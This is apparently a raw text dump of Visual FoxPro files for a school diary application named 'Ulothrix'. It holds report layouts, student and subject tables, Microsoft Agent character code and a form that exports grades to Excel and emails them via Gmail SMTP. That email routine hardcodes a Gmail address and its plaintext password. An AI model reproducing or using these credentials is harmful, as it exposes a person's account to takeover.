?&B0   PLATFORMCUNIQUEIDC TIMESTAMPN OBJTYPENOBJCODENNAMEM"EXPRM&VPOSN* HPOSN3 HEIGHTN< WIDTHNE STYLEMNPICTUREMRORDERMVUNIQUELZCOMMENTM[ENVIRONL_BOXCHARC`FILLCHARCaTAGMbTAG2MfPENREDNjPENGREENNoPENBLUENtFILLREDNyFILLGREENN~FILLBLUENPENSIZENPENPATNFILLPATNFONTFACEMFONTSTYLENFONTSIZENMODENRULERNRULERLINESNGRIDLGRIDVNGRIDHNFLOATLSTRETCHLSTRETCHTOPLTOPLBOTTOMLSUPTYPENSUPRESTNNOREPEATLRESETRPTNPAGEBREAKLCOLBREAKLRESETPAGELGENERALNSPACINGNDOUBLELSWAPHEADERLSWAPFOOTERLEJECTBEFORLEJECTAFTERLPLAINLSUMMARYLADDALIASLOFFSETNTOPMARGINNBOTMARGINNTOTALTYPENRESETTOTALNRESOIDNCURPOSLSUPALWAYSLSUPOVFLOWLSUPRPCOLNSUPGROUPNSUPVALCHNGLSUPEXPRMUSERM WINDOWS _38D1868221052877969 1 53 1.000 0.000 0.000 -1.000 F   0 10 20T1212 FF T F T 1F WINDOWS _38D186823 9 1 9375.000 0.000 F FFF F F WINDOWS _38D186824 9 4 5000.000 0.000 F FFF F F WINDOWS _38D186825 9 7 15625.000 0.000 F FFF F F WINDOWS _38D188D151052878118 5 0 625.00026354.167 2708.33315208.333 -1 -1 -1 -1 -1 -1  0 16 1 FFFTF F 0T 204FTT0 0F WINDOWS _38D18EP5R1052878184 8 0 312.50042500.000 2916.66723854.167 C 255 0 0 -1 -1 -1  0 16 1 0 FFFTF F 0T 0 0 1204FTT0 0F WINDOWS _38D18FCL01052878292 5 0 3854.16729687.500 2708.333 9166.667 -1 -1 -1 -1 -1 -1  0 16 1 FFFTF F 0T 204FTT0 0F WINDOWS _38D18JCLF1052878298 8 0 3854.16740000.000 2916.66713333.333 C 255 0 0 -1 -1 -1  0 16 1 0 FFFTF F 0T 0 0 1204FTT0 0F WINDOWS _38D18QOXU1052878479 7 411458.33326875.000 5104.16728854.167 -1 -1 -1 -1 -1 -1 1 8 0 0 FFFTF F 0 FTF3 0F WINDOWS _38D18TDKI1052878554 8 012604.16747500.000 2604.167 6979.167 C -1 -1 -1 -1 -1 -1  0 14 1 0 FFFTF F 0T 0 0 1204FTF3 0F WINDOWS _38D18TWZW1052878566 8 012604.16732500.000 2604.16713333.333 C -1 -1 -1 -1 -1 -1  0 14 1 0 FFFTF F 0T 0 0 1204FTF3 0F WINDOWS _38D18WHSO1052878624 6 11458.33346250.000 5104.167 104.167 -1 -1 -1 -1 -1 -1 1 8 0 FFFTF F 0 FTF3 0F WINDOWS _38D18WJL81052878625 6 11458.33331250.000 5104.167 104.167 -1 -1 -1 -1 -1 -1 1 8 0 FFFTF F 0 FTF3 0F WINDOWS _38D18WT4F1052878674 8 0 12604.16727500.000 2604.167 3854.167 C -1 -1 -1 -1 -1 -1 ! 0 14 1 0 FFFTF F 0T 0 0 1204FTF3 0F WINDOWS _38G0Z9FN31053066084 8 0" 416.667 7500.000 7708.333 8020.833FF C -1 -1 -1 -1 -1 -1 0 0 0# 0 15 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 1204FTT0 6F$ WINDOWS _38G0Z9FN41053066084 5 0% 416.667 1041.667 2708.333 4375.000FF -1 -1 -1 -1 -1 -1 0 0 0& 0 16 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 0204FTT0 6F' WINDOWS _38G0ZNUR11053066442 8 0(27187.50032291.667 2187.50018125.000FF C -1 -1 -1 -1 -1 -1 0 0 0* 2 12 100F 0 0FFFTF00F 0FFF 0 2TFFFFFFF 0 0 0 0 1204TTT0 0F+ WINDOWS 23 16.000 8.000 12.000 10.000 4 0 , 0 10 F WINDOWS 23 26.000 11.000 20.000 37.000 6 0 - 0 16 F WINDOWS 23 23.000 10.000 18.000 33.000 5 0 . 0 14 F WINDOWS 23 24.000 10.000 19.000 35.000 5 0 / 0 15 F WINDOWS 23 20.000 7.000 16.000 30.000 3 1 0 2 12 F WINDOWS 25 )1 F F 3@DRIVER=winspool DEVICE=Send To OneNote 2007 OUTPUT=Send To Microsoft OneNote Port: ORIENTATION=0 PAPERSIZE=9 COPIES=1 DEFAULTSOURCE=1 PRINTQUALITY=300 COLOR=2 YRESOLUTION=300 Y(winspoolSend To OneNote 2007Send To Microsoft OneNote Port:,Send To OneNote 2007/ d,,Letterwpno Courier New" :"CalibriZ3Calibri " :"CalibriZ1CalibriRei.temaCalibriRei.first_nameCalibriRei.popCalibriDATE()CalibriYesTrue""CalibriYesTrue " " + TRANSFORM(_PAGENO)dataenvironmentArialYesPrint Courier NewCalibriCalibriCalibriArialYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 0  PLATFORMCUNIQUEIDC TIMESTAMPN OBJTYPENOBJCODENNAMEM"EXPRM&VPOSN* HPOSN3 HEIGHTN< WIDTHNE STYLEMNPICTUREMRORDERMVUNIQUELZCOMMENTM[ENVIRONL_BOXCHARC`FILLCHARCaTAGMbTAG2MfPENREDNjPENGREENNoPENBLUENtFILLREDNyFILLGREENN~FILLBLUENPENSIZENPENPATNFILLPATNFONTFACEMFONTSTYLENFONTSIZENMODENRULERNRULERLINESNGRIDLGRIDVNGRIDHNFLOATLSTRETCHLSTRETCHTOPLTOPLBOTTOMLSUPTYPENSUPRESTNNOREPEATLRESETRPTNPAGEBREAKLCOLBREAKLRESETPAGELGENERALNSPACINGNDOUBLELSWAPHEADERLSWAPFOOTERLEJECTBEFORLEJECTAFTERLPLAINLSUMMARYLADDALIASLOFFSETNTOPMARGINNBOTMARGINNTOTALTYPENRESETTOTALNRESOIDNCURPOSLSUPALWAYSLSUPOVFLOWLSUPRPCOLNSUPGROUPNSUPVALCHNGLSUPEXPRMUSERM WINDOWS _3871D5JZH1052423937 1 53 1.000 0.000 0.000 -1.000 F  0 10 20T1212 FF T F T 1F WINDOWS _3871D5JZI 9 1 9688.000 0.000 F FFF F F WINDOWS _3871D5JZJ 9 4 6355.000 0.000 F FFF F F WINDOWS _3871D5JZK 9 7 19792.000 0.000 F FFF F F WINDOWS _3871D6FXZ1052423988 5 0 1250.00015104.167 2916.66732187.500 -1 -1 -1 -1 -1 -1  0 17 1 FFFTF F 0T 204FTT0 0F WINDOWS _3871D9OCN1052424045 8 0 4166.66736979.167 3125.00017395.833 C 255 0 0 -1 -1 -1 ! 0 17 1 0 FFFTF F 0T 0 0 1204FTT0 0F WINDOWS _3890UC8F01052537141 8 0" 1354.16747604.167 2916.66717604.167 C 255 0 0 -1 -1 -1 # 0 16 1 0 FFFTF F 0T 0 0 1204FTT0 0F WINDOWS _3890UEY271052537200 5 0$ 4166.66725937.500 2708.33311041.667 -1 -1 -1 -1 -1 -1 % 0 16 1 FFFTF F 0T 204FTT0 0F WINDOWS _3890V09UC1052537729 7 411770.83327500.000 6354.16721354.167 -1 -1 -1 -1 -1 -1 1 8 0 0 FFFTF F 0 FTF3 0F WINDOWS _3890V0DQY1052537739 8 0&12916.66728750.000 2604.16712604.167 C -1 -1 -1 -1 -1 -1 ' 0 14 1 0 FFFTF F 0T 0 0 1204FTF3 0F WINDOWS _3890V16AA1052537761 8 0(12916.66740312.500 2604.16710833.333 C -1 -1 -1 -1 -1 -1 * 0 14 1 0 FFFTF F 0T 0 0 1204TTF3 0F WINDOWS _3890V4XGA1052537844 6 11770.83342604.167 6354.167 104.167 -1 -1 -1 -1 -1 -1 1 8 0 FFFTF F 0 FTF3 0F WINDOWS _3890VGADA1052538127 8 0+23125.000 8750.000 7708.333 8020.833FF C -1 -1 -1 -1 -1 -1 0 0 0, 0 15 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 1204FTT0 0F- WINDOWS _3890VGADB1052538127 5 0.23125.000 3541.667 2708.333 4375.000FF -1 -1 -1 -1 -1 -1 0 0 0/ 0 16 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 0204FTT0 0F0 WINDOWS _38G0ZKGF11053066357 8 0137500.00031041.667 2187.50018125.000FF C -1 -1 -1 -1 -1 -1 0 0 02 2 12 100F 0 0FFFTF00F 0FFF 0 2TFFFFFFF 0 0 0 0 1204FTT0 0F3 WINDOWS _38G0ZMMUR1053066412 6 0 7500.000 3750.000 104.16771666.667FF -1 -1 -1 -1 -1 -1 1 8 0 0 0 000F 0 0FFFTF00F 0FFF 0 0FFFFFFFF 1 0 0 0 0 0FTF3 0F WINDOWS _38G0ZMMUS1053066412 6 0 7916.667 3750.000 104.16771666.667FF -1 -1 -1 -1 -1 -1 1 8 0 0 0 000F 0 0FFFTF00F 0FFF 0 0FFFFFFFF 1 0 0 0 0 0FTF3 0F WINDOWS _38G0ZMT0R1053066416 6 0 833.333 3750.000 104.16771666.667FF -1 -1 -1 -1 -1 -1 1 8 0 0 0 000F 0 0FFFTF00F 0FFF 0 0FFFFFFFF 1 0 0 0 0 0FTF3 0F WINDOWS _38G0ZMT0S1053066416 6 0 1250.000 3750.000 104.16771666.667FF -1 -1 -1 -1 -1 -1 1 8 0 0 0 000F 0 0FFFTF00F 0FFF 0 0FFFFFFFF 1 0 0 0 0 0FTF3 0F WINDOWS 23 16.000 8.000 12.000 10.000 4 0 4 0 10 F WINDOWS 23 28.000 12.000 22.000 40.000 6 0 5 0 17 F WINDOWS 23 26.000 11.000 20.000 37.000 6 0 6 0 16 F WINDOWS 23 23.000 10.000 18.000 33.000 5 0 7 0 14 F WINDOWS 23 24.000 10.000 19.000 35.000 5 0 8 0 15 F WINDOWS 23 20.000 7.000 16.000 30.000 3 1 9 2 12 F WINDOWS 25 :; F F r@DRIVER=winspool DEVICE=EPSON Stylus C91 Series OUTPUT=USB001 ORIENTATION=0 PAPERSIZE=9 PAPERLENGTH=2970 PAPERWIDTH=2100 COPIES=1 DEFAULTSOURCE=7 COLOR=2 DUPLEX=1 COLLATE=0 Y+winspoolEPSON Stylus C91 SeriesUSB001ort:EPSON Stylus C91 Series 4dhh EPSON Stylus C91 SeriesPOpen cfg file 4  hhL ,hh q*** q***d2 Courier New!" ():"CalibriSubjects.predmetCalibriPrintcur.first_nameCalibri " :"CalibriPrintcur.name_temCalibri Printcur.tema""CalibriDATE()CalibriYesTrue""CalibriYesTrue " " + TRANSFORM(_PAGENO)ArialYesPrint Courier NewCalibriCalibriCalibriCalibriArialdataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" DRIVER=winspool DEVICE=EPSON Stylus C91 Series OUTPUT=USB001 ORIENTATION=0 PAPERSIZE=9 PAPERLENGTH=2970 PAPERWIDTH=2100 COPIES=1 DEFAULTSOURCE=7 COLOR=2 DUPLEX=1 COLLATE=0 Y+winspoolEPSON Stylus C91 SeriesUSB001ort:EPSON Stylus C91 Series 4dhh EPSON Stylus C91 SeriesPOpen cfg file 4  hhL ,hh q*** q***d2 Courier New!" ():"CalibriSubjects.predmetCalibriPrintcur.first_nameCalibri " :"CalibriPrintcur.name_temCalibri Printcur.tema""CalibriDATE()CalibriYesTrue""CalibriYesTrue " " + TRANSFORM(_PAGENO)ArialYesPrint Courier NewCalibriCalibriCalibriCalibriArialdataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 0  PLATFORMCUNIQUEIDC TIMESTAMPN OBJTYPENOBJCODENNAMEM"EXPRM&VPOSN* HPOSN3 HEIGHTN< WIDTHNE STYLEMNPICTUREMRORDERMVUNIQUELZCOMMENTM[ENVIRONL_BOXCHARC`FILLCHARCaTAGMbTAG2MfPENREDNjPENGREENNoPENBLUENtFILLREDNyFILLGREENN~FILLBLUENPENSIZENPENPATNFILLPATNFONTFACEMFONTSTYLENFONTSIZENMODENRULERNRULERLINESNGRIDLGRIDVNGRIDHNFLOATLSTRETCHLSTRETCHTOPLTOPLBOTTOMLSUPTYPENSUPRESTNNOREPEATLRESETRPTNPAGEBREAKLCOLBREAKLRESETPAGELGENERALNSPACINGNDOUBLELSWAPHEADERLSWAPFOOTERLEJECTBEFORLEJECTAFTERLPLAINLSUMMARYLADDALIASLOFFSETNTOPMARGINNBOTMARGINNTOTALTYPENRESETTOTALNRESOIDNCURPOSLSUPALWAYSLSUPOVFLOWLSUPRPCOLNSUPGROUPNSUPVALCHNGLSUPEXPRMUSERM WINDOWS _37Z0SNEVY1051880129 1 53 1.000 0.000 0.00082666.000 F   0 10 21T1212 TF T F T 204T WINDOWS _37Z0SNEVZ 9 1 11980.000 0.000 F FFF F F WINDOWS _3821DWL0D 0 9 3 0.000 0.000 0.000 0.000FF 0 0 0 0 0 0 0 0 0 0 0 000F 0 0FFFFF00F 0FFF 0 0FFFFFFFF 0 0 0 0 0 0FFF0 0F WINDOWS _37Z0SNEW0 0 9 4 0.000 0.000 5105.000 0.000FF 0 0 0 0 0 0 0 0 0 0 0 000F 0 0FFFFF00F 0FFF 0 0FFFFFFFF 0 0 0 0 0 0FFF0 0F WINDOWS _3821DWL0F 0 9 5 0.000 0.000 0.000 0.000FF 0 0 0 0 0 0 0 0 0 0 0 000F 0 0FFFFF00F 0FFF 0 0FFFFFFFF 0 0 0 0 0 0FFF0 0F WINDOWS _37Z0SNEW1 0 9 7 0.000 0.00014896.000 0.000FF 0 0 0 0 0 0 0 0 0 0 0 000F 0 0FFFFF00F 0FFF 0 0FFFFFFFF 0 0 0 0 0 0FFF0 0F WINDOWS _37Z0SNKFP1051880146 8 0 16562.50024583.333 2604.16720000.000FF C 0 0 0 -1 -1 -1 0 0 0! 0 14 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 1204FTT3 6F WINDOWS _37Z1A5MST1051896854 8 0"16562.50045625.000 2604.16710312.500FF C 0 0 0 -1 -1 -1 0 0 0$ 0 14 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 1204TTT3 6F WINDOWS _3821D7II71052096325 5 0% 2291.66721145.833 2916.66737916.667FF -1 -1 -1 -1 -1 -1 0 0 0& 0 17 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 0204FTF3 0F WINDOWS _3821DDOM71052096611 8 0' 2291.66758750.000 3125.00021250.000FF C 255 0 0 -1 -1 -1 0 0 0( 0 17 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 1204FTT0 6F WINDOWS _3821DHZLR1052096693 7 4 9270.83324270.833 2500.00020833.333FF -1 -1 -1 -1 -1 -1 1 8 0 0 0 000F 0 0FFFTF00F 0FFF 0 0FFFFFFFF 0 0 0 0 0 0FTT0 6F WINDOWS _3821DITSN1052096714 7 4 9270.83345104.167 2500.00011250.000FF -1 -1 -1 -1 -1 -1 1 8 0 0 0 000F 0 0FFFTF00F 0FFF 0 0FFFFFFFF 0 0 0 0 0 0FTT0 6F WINDOWS _3821DIWEV1052096719 5 0) 9270.83346041.667 2500.000 6145.833FF 255 0 0 -1 -1 -1 0 0 0* 0 15 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 0204FTF3 0F WINDOWS _3821DL2YN1052096782 5 0+ 9270.83330000.000 2500.000 7812.500FF 255 0 0 -1 -1 -1 0 0 0, 0 15 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 0204FTF3 0F WINDOWS _3821F1CDB1052098070 7 416145.83324270.833 5104.16732083.333FF -1 -1 -1 -1 -1 -1 1 8 0 0 0 000F 0 0FFFTF00F 0FFF 0 0FFFFFFFF 0 0 0 0 0 0FTF3 6F WINDOWS _3821F902N1052098272 8 0-26562.500 7500.000 7708.333 8020.833FF C -1 -1 -1 -1 -1 -1 0 0 0. 0 15 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 1204FTT0 6F/ WINDOWS _3821FA2QN1052098293 5 0026562.500 1041.667 2708.333 4375.000FF -1 -1 -1 -1 -1 -1 0 0 01 0 16 100F 0 0FFFTF00F 0FFF 0 0TFFFFFFF 0 0 0 0 0204FTT0 6F2 WINDOWS _3871DGQ3Z1052424354 5 03 5104.16732812.500 2916.66711979.167 -1 -1 -1 -1 -1 -1 4 0 17 1 FFFTF F 0T 204FTT0 6F WINDOWS _3871DHT3Z1052424380 8 05 5104.16745000.000 3125.00026250.000 C 255 0 0 -1 -1 -1 6 0 17 1 0 FFFTF F 0T 0 0 1204FTT0 6F WINDOWS _3881DXUCT1052490305 6 16145.83345000.000 5104.167 104.167 -1 -1 -1 -1 -1 -1 1 8 0 FFFTF F 0 FTF3 0F WINDOWS _38G0ZSOGH1053066563 8 0731458.33335000.000 1875.00018125.000FF C -1 -1 -1 -1 -1 -1 0 0 08 2 12 100F 0 0FFFTF00F 0FFF 0 2TFFFFFFF 0 0 0 0 1204FTT0 6F9 WINDOWS 23 15.000 7.000 12.000 23.000 3 0 : 0 10 F WINDOWS 23 23.000 7.000 19.000 22.000 4 0 ; 0 14 F WINDOWS 23 28.000 12.000 22.000 40.000 6 0 < 0 17 F WINDOWS 23 24.000 10.000 19.000 35.000 5 0 = 0 15 F WINDOWS 23 26.000 11.000 20.000 37.000 6 0 > 0 16 F WINDOWS 23 20.000 7.000 16.000 30.000 3 1 ? 2 12 F WINDOWS 25 @A F F ~@DRIVER=winspool DEVICE=EPSON Stylus C91 Series OUTPUT=USB001 ORIENTATION=0 PAPERSIZE=9 PAPERLENGTH=2970 PAPERWIDTH=2100 COPIES=1 DEFAULTSOURCE=7 COLOR=2 DUPLEX=1 COLLATE=0  Y+winspoolEPSON Stylus C91 SeriesUSB001ort:EPSON Stylus C91 Series 4dhh EPSON Stylus C91 SeriesPOpen cfg file 4  hhL ,hh q*** q***d2CalibriPeople.first_namePrintcur2.first_name Arial NarrowPrintCur2.tema"" Arial Narrow'" :"CalibriPrintcur2.name_temCalibri""Calibri "' "CalibriDATE()CalibriYesTrue""CalibriYesTrue " :"CalibriPrintCur2.predmetCalibri " " + TRANSFORM(_PAGENO)ArialYesPrintCalibri Arial NarrowCalibriCalibriCalibriArialdataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" DRIVER=winspool DEVICE=EPSON Stylus C91 Series OUTPUT=USB001 ORIENTATION=0 PAPERSIZE=9 PAPERLENGTH=2970 PAPERWIDTH=2100 COPIES=1 DEFAULTSOURCE=7 COLOR=2 DUPLEX=1 COLLATE=0  Y+winspoolEPSON Stylus C91 SeriesUSB001ort:EPSON Stylus C91 Series 4dhh EPSON Stylus C91 SeriesPOpen cfg file 4  hhL ,hh q*** q***d2CalibriPeople.first_namePrintcur2.first_name Arial NarrowPrintCur2.tema"" Arial Narrow'" :"CalibriPrintcur2.name_temCalibri""Calibri "' "CalibriDATE()CalibriYesTrue""CalibriYesTrue " :"CalibriPrintCur2.predmetCalibri " " + TRANSFORM(_PAGENO)ArialYesPrintCalibri Arial NarrowCalibriCalibriCalibriArialdataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" %N2?b67G QTable\People.dbfQTable\Temjke.dbfQTable\Students.dbfQTable\Subjects.dbfQTable\Otsinku.dbfQ Table\Ini.dbfQTable\Zone.dbfC , ! ﳿ Table, !@x hCurDiary CHARACTER# CHARACTER CHARACTER(NUMBERNUMBERNUMBER NUMBER NUMBER NUMBER NUMBER NUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBERNUMBER NUMBER!NUMBER"NUMBER#NUMBER$NUMBERFF% # >&Forms\Students.scxJ9U(STUTABLECURDIARYNMONTHLSLTMTA1A2A3A4A5A6A7A8A9A10A11A12A13A14A15A16A17A18A19A20A21A22A23A24A25A26A27A28A29A30A31INIWHENFORMSqa1 AA !,QqqQ1 %92?6 '     D%C m.oFormRefbOC @form  ?CThis menu can only be called from a Top-Level form. Ensure that your form's ShowWindow property is set to 2. Read the header section of the menu's MPR file for more details.xBT C m.getMenuNamebT C]T  ,% C L   T   % C C  T    ,%Cm.lUniquePopupsbL  o (C kT C]T aT  pxT cT pT os  3s "\CCarrot"C:\windows\msagent\chars\Genie.acsTCCarrotTCC Ca CGreet khC\ c! .x~ T a%MerlinjTCAgent.Control.2NTa?CCarrot#C:\windows\msagent\chars\Merlin.acsTCCarrotTCC Ca CGreet hC\ c! .x T a%Peedy^TCAgent.Control.2NTa>CCarrot"C:\windows\msagent\chars\Peedy.acsTCCarrotTCC Ca CGreet GhC\ c! .xZ T a%RobbyDTCAgent.Control.2NTa>CCarrot"C:\windows\msagent\chars\robby.acsTCCarrotTCC Ca CGreet hC\ c! .x T aU OAGENT CHARACTERSUNLOADTHISVALUE CONNECTEDLOADOCHARONEXTMOVETOSHOWPLAYREALLYClick,1QAAQAAQAAQAA1)< commandbutton commandbuttonCommand1Form1Top = 240 Left = 312 Height = 49 Width = 205 FontSize = 14 Caption = " " ForeColor = 0,128,0 Name = "Command1" nPROCEDURE Click oNext=oChar.Think(' : 3') oNext=oChar.Play('Search') oNext=oChar.Think(' : 2') oNext=oChar.Play('Write') oNext=oChar.Think(' : 1') oNext=oChar.Play('Process') oNext=oChar.Think(' : 0') oNext=oChar.Play('Congratulate') ENDPROC PROCEDURE Init this.Picture='Play.bmp' ENDPROC - ɹ% 6U 'TC : 3TCSearch'TC : 2TCWrite'TC : 1TCProcess'TC : 0 TC CongratulateUONEXTOCHARTHINKPLAYTPlay.bmpUTHISPICTUREClick,InitX1qqqq411 Lc ) commandbutton commandbuttonCommand2Form1Top = 300 Left = 312 Height = 49 Width = 205 FontSize = 14 Caption = " !" ForeColor = 255,0,0 Name = "Command2" PROCEDURE Click * , , ! SELECT Ini GO top DO CASE CASE thisform.list1.Value='Genie' AgentName='Genie.acs' replace genao WITH 'genie.acs' CASE thisform.list1.Value='Merlin' replace genao WITH 'Merlin.acs' AgentName='Merlin.acs' CASE thisform.list1.Value='Peedy' replace genao WITH 'peedy.acs' AgentName='peedy.acs' CASE thisform.list1.Value='Robby' replace genao WITH 'Robby.acs' AgentName='Robby.acs' ENDCASE oChar.Balloon.Style=2 oNext=oChar.Play('Greet') oNExt=oChar.Think(' , !') thisform.Release ENDPROC PROCEDURE Init this.Picture='Ok.bmp' thisform.Release ENDPROC E ,,.%6UF#) H< GenieaT Genie.acs> genie.acs Merlin> Merlin.acsT Merlin.acs Peedy> peedy.acsT peedy.acs Robby<> Robby.acsT Robby.acsTT CGreet /T C , !  U INITHISFORMLIST1VALUE AGENTNAMEGENAOOCHARBALLOONSTYLEONEXTPLAYTHINKRELEASE#TOk.bmp UTHISPICTURETHISFORMRELEASEClick,Init;1rQaaqqaaaaB14a2),CArial, 0, 9, 5, 15, 12, 32, 3, 0 Arial, 0, 14, 8, 23, 18, 51, 4, 1 0  mPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _38N0ZIDQ41053526144/F] WINDOWS _38N0ZIDQ51059567036 WINDOWS _38N0ZIDQ61053526144 WINDOWS _38N0ZIDQ71053526144 WINDOWS _38N0ZIDQ81053526144 WINDOWS _38N0ZIDQ91053556903+:IVc WINDOWS _38N0ZKEFC1053526144  WINDOWS _38N0ZQ7SH1053526144Y f s WINDOWS _38N0ZQ7SI1053556903^ m | * } WINDOWS _38N0ZU75D1059288166u -  WINDOWS _38N0ZYBJY10592881662 COMMENT RESERVED XVERSION = 3.00dataenvironmentdataenvironmentDataenvironmentYTop = 0 Left = 0 Width = 0 Height = 0 DataSource = .NULL. Name = "Dataenvironment" 11formformForm1Height = 279 Width = 440 ShowWindow = 1 DoCreate = .T. AutoCenter = .T. Caption = " Excel..." FontSize = 13 Icon = ..\ WindowType = 1 Name = "Form1" 2PROCEDURE Init this.Icon='Diary.ico' ENDPROC  B%Xlf6UT Diary.icoUTHISICONInit,12')labellabelLabel1Form1AutoSize = .T. FontSize = 13 WordWrap = .T. Caption = " , , Excel" Height = 40 Left = 12 Top = 12 Width = 354 Name = "Label1" labellabelLabel2Form1AutoSize = .T. FontSize = 13 WordWrap = .T. Caption = " Excel :" Height = 22 Left = 12 Top = 72 Width = 360 Name = "Label2" linelineLine1Form1=Height = 0 Left = 0 Top = 60 Width = 444 Name = "Line1" textboxtextboxText1Form1]FontSize = 13 Enabled = .F. Height = 25 Left = 88 Top = 96 Width = 264 Name = "Text1" 3PROCEDURE Init this.Value=pPath+'Excel' ENDPROC  7%`tn6UTExcelUTHISVALUEPPATHInit,11()linelineLine2Form1>Height = 0 Left = 0 Top = 168 Width = 444 Name = "Line2" labellabelLabel3Form1FontSize = 13 WordWrap = .T. Caption = " , .xls , :" Height = 37 Left = 12 Top = 180 Width = 396 Name = "Label3" textboxtextboxText2Form1FontSize = 13 Value = example@Mail.com Height = 36 Left = 48 Top = 228 Width = 277 ForeColor = 128,128,128 Name = "Text2" KPROCEDURE GotFocus this.ForeColor=RGB(0,0,255) this.Value='' ENDPROC  G%t6U,TC^TUTHIS FORECOLORVALUEGotFocus,12@) commandbutton commandbuttonCommand2Form1iTop = 228 Left = 324 Height = 37 Width = 96 FontSize = 13 Caption = "" Name = "Command2" PROCEDURE Click PUBLIC Im Im=PUTFILE(' ',"Ulothrix",'xls') EXPORT TO (Im) TYPE XLS thisform.text1.Value=Im LOCAL loConfig AS CDO.Configuration, loFlds AS Object, loMsg AS CDO.Message loConfig = CREATEOBJECT("CDO.Configuration") loFlds = loConfig.Fields WITH loFlds *- Set the CDOSYS configuration fields to use port 25 on the SMTP server. .Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 *- Enter name or IP address of remote SMTP server. .Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com" .Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465 *- Assign timeout in seconds .Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 20 .Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = .t. *- Commit changes to the object .Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "andrewmuliar7@gmail.com" .Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "pentium13" .Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 3 * .item("http://schemas.microsoft.com/cdo/configuration/cdoURLProxyServer") = "smtp.mail.yahoo.com" .Update() ENDWITH loMsg = CREATEOBJECT("CDO.Message") WITH loMsg .Configuration = loConfig .To = thisform.text2.value .From = 'Diary@sdf.com' .HTMLBody =" ! , Ulothrix'! " .AddAttachment(Im) .Subject = " , Ulothrix. 쳺 !" TRY .Send() CATCH TO oerr MESSAGEBOX(oerr.message) ENDTRY ENDWITH oNExt=oChar.Think(' ! , !') ENDPROC  %e#6U)7+TC Ulothrixxls V(T=QCDO.ConfigurationQOBJECTQ CDO.Message!TCCDO.ConfigurationNT LT8http://schemas.microsoft.com/cdo/configuration/sendusing[T9http://schemas.microsoft.com/cdo/configuration/smtpserversmtp.gmail.comRT=http://schemas.microsoft.com/cdo/configuration/smtpserverportXTDhttp://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeoutKT9http://schemas.microsoft.com/cdo/configuration/smtpusesslafT;http://schemas.microsoft.com/cdo/configuration/sendusernameandrewmuliar7@gmail.comXT;http://schemas.microsoft.com/cdo/configuration/sendpassword pentium13ST?http://schemas.microsoft.com/cdo/configuration/smtpauthenticate C TC CDO.MessageN T T  T  Diary@sdf.comTټ ! , Ulothrix'! CT٘ , Ulothrix. 쳺 ! C (CxTCo ! , !UIMTHISFORMTEXT1VALUELOCONFIGLOFLDSLOMSGFIELDSITEMUPDATE CONFIGURATIONTOTEXT2FROMHTMLBODY ADDATTACHMENTSUBJECTSENDOERRMESSAGEONEXTOCHARTHINKClick,1q1!b1AA a AA11) commandbutton commandbuttonCommand3Form1AutoSize = .T. Top = 132 Left = 154 Height = 36 Width = 147 FontSize = 13 Caption = "..." Enabled = .T. Name = "Command3" PROCEDURE Click PUBLIC Im IM = PUTFILE(' ',"Ulothrix",'xls') EXPORT TO (Im) TYPE XLS thisform.text1.Value=im ENDPROC  %6UU7+TC Ulothrixxls V(TUIMTHISFORMTEXT1VALUEClick,1q11z)"Arial, 0, 13, 8, 20, 15, 45, 4, 1 0 MmPLATFORMCUNIQUEIDC TIMESTAMPN CLASSMCLASSLOCM!BASECLASSM%OBJNAMEM)PARENTM-PROPERTIESM1PROTECTEDM5METHODSM9OBJCODEM=OLEMAOLE2MERESERVED1MIRESERVED2MMRESERVED3MQRESERVED4MURESERVED5MYRESERVED6M]RESERVED7MaRESERVED8MeUSERMi COMMENT Screen  WINDOWS _34O14Z4AW1043573292/F] WINDOWS _34O14Z4AX1059627356 WINDOWS _35R160FAD1046193767k x WINDOWS _35R160FAE1046193767    WINDOWS _34O14Z4AW1052612055h w WINDOWS _34O14Z4AZ1052612055"/< WINDOWS _34O14Z4B01052612055 WINDOWS _34O14Z4B11052612055=L[hu WINDOWS _34O14Z4B21052612055 WINDOWS _34O14Z4B31052612055w WINDOWS _34O14Z4B41052612055#2?L WINDOWS _34O14Z4B51052612055 WINDOWS _34O14Z4B61052612055N]ly WINDOWS _34O14Z4B71052612055 $ WINDOWS _34O14Z4B81052612055 WINDOWS _34O14Z4B91052612055+:IWd WINDOWS _34O14Z4BA1052612055 WINDOWS _34O14Z4BB1052612055kz WINDOWS 